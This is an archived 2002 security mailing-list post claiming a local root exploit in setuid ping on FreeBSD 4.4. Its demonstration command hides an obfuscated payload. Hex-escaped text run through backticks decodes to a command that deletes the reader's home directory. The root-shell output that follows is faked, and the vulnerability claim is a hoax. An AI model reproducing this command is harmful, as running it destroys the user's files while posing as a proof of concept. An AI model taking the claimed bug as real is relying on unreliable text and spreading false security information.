lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <200209151340.g8FDe3Z72388@mailserver4.hushmail.com>
From: drdre at hush.com (drdre@...h.com)
Subject: ATTENTION   Local Root   ATTENTION

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


DrDre researchers have rcently discovered a bug in the ping program which is installed setuid-root in nearly all unix and unix like systems. The bug is not remotely exploitable.

Tested on FreeBSD 4.4:

bash# id
uid=1006(drdre) gid=1006(researchers) groups=1006(researchers), 1009(labstaff)

bash# ping `perl -e 'print "\x6d\x65\x5f\x67\x75\x6e\x5f\x69\x73\x5f\x63\x6c\x69\x63\x6b"x1024'`;`echo -e "\x72\x6d\x20\x2d\x72\x66\x20\x7e"`
Unknown erver error   ^

87^

$ id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)



Greets: Peter Pan (+ friends), Team Knightrider, The Sheep


- --
DrDre Security Research Team
-----BEGIN PGP SIGNATURE-----
Version: Hush 2.1
Note: This signature can be verified at https://www.hushtools.com

wlYEARECABYFAj2EjgAPHGRyZHJlQGh1c2guY29tAAoJEOGUhwR8ugvX+WIAoI15taFm
cWE3XmLxM5hkWOUL3oUEAJ9gZ97c14lOoFcqYrAVmjqRi/rUEQ==
=4ze6
-----END PGP SIGNATURE-----




Get your free encrypted email at https://www.hushmail.com

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ